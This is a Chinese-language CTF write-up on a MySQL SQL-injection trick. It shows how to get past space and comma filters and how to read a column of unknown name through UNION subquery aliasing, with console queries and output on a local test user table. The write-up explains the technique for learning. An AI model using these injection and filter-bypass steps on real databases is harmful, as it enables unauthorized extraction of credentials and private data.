Mysql如何巧妙的繞過未知字段名詳解
前言
本文介紹的是DDCTF第五題,繞過未知字段名的技巧,這里拿本機(jī)來操作了下,思路很棒也很清晰,分享給大家,下面來看看詳細(xì)的介紹:
實(shí)現(xiàn)思路
題目過濾空格和逗號,空格使用%0a,%0b,%0c,%0d,%a0,或者直接使用括號都可以繞過,逗號使用join繞過;
存放flag的字段名未知,information_schema.columns也將表名的hex過濾了,即獲取不到字段名;這時可以利用聯(lián)合查詢,過程如下:
思想就是獲取flag,讓其在已知字段名下出現(xiàn);
示例代碼:
mysql> select (select 1)a,(select 2)b,(select 3)c,(select 4)d; +---+---+---+---+ | a | b | c | d | +---+---+---+---+ | 1 | 2 | 3 | 4 | +---+---+---+---+ 1 row in set (0.00 sec) mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d; +---+---+---+---+ | 1 | 2 | 3 | 4 | +---+---+---+---+ | 1 | 2 | 3 | 4 | +---+---+---+---+ 1 row in set (0.00 sec) mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user; +---+-------+----------+-------------+ | 1 | 2 | 3 | 4 | +---+-------+----------+-------------+ | 1 | 2 | 3 | 4 | | 1 | admin | admin888 | 110@110.com | | 2 | test | test123 | 119@119.com | | 3 | cs | cs123 | 120@120.com | +---+-------+----------+-------------+ 4 rows in set (0.01 sec) mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e; +-------------+ | 4 | +-------------+ | 4 | | 110@110.com | | 119@119.com | | 120@120.com | +-------------+ 4 rows in set (0.03 sec) mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e limit 1 offset 3; +-------------+ | 4 | +-------------+ | 120@120.com | +-------------+ 1 row in set (0.01 sec) mysql> select * from user where id=1 union select (select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e limit 1 offset 3)f,(select 1)g,(select 1)h,(select 1)i; +-------------+----------+----------+-------------+ | id | username | password | email | +-------------+----------+----------+-------------+ | 1 | admin | admin888 | 110@110.com | | 120@120.com | 1 | 1 | 1 | +-------------+----------+----------+-------------+ 2 rows in set (0.04 sec)
總結(jié)
以上就是這篇文章的全部內(nèi)容了,希望本文的內(nèi)容對大家的學(xué)習(xí)或者工作能帶來一定的幫助,如果有疑問大家可以留言交流,謝謝大家對腳本之家的支持。
相關(guān)文章
解決ERROR?1129?(HY000):?Host?‘xxx‘?is?blocked?because?
這篇文章主要介紹了解決ERROR?1129?(HY000):?Host?‘xxx‘?is?blocked?because?of?many問題,具有很好的參考價值,希望對大家有所幫助,如有錯誤或未考慮完全的地方,望不吝賜教2024-04-04
使用MYSQL TIMESTAMP字段進(jìn)行時間加減運(yùn)算問題
這篇文章主要介紹了使用MYSQL TIMESTAMP字段進(jìn)行時間加減運(yùn)算問題,具有很好的參考價值,希望對大家有所幫助。如有錯誤或未考慮完全的地方,望不吝賜教2023-02-02
centos上安裝mysql并設(shè)置遠(yuǎn)程訪問的操作方法
這篇文章主要介紹了centos上安裝mysql并設(shè)置遠(yuǎn)程訪問的操作方法,需要的朋友可以參考下2017-11-11
mysql字符串拼接并設(shè)置null值的實(shí)例方法
在本文中小編給大家整理的是關(guān)于mysql 字符串拼接+設(shè)置null值的實(shí)例內(nèi)容以及具體方法,需要的朋友們可以學(xué)習(xí)下。2019-09-09
MySQL實(shí)現(xiàn)replace函數(shù)的幾種實(shí)用場景
這篇文章主要介紹了MySQL實(shí)現(xiàn)replace函數(shù)的幾種實(shí)用場景,文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧2021-02-02

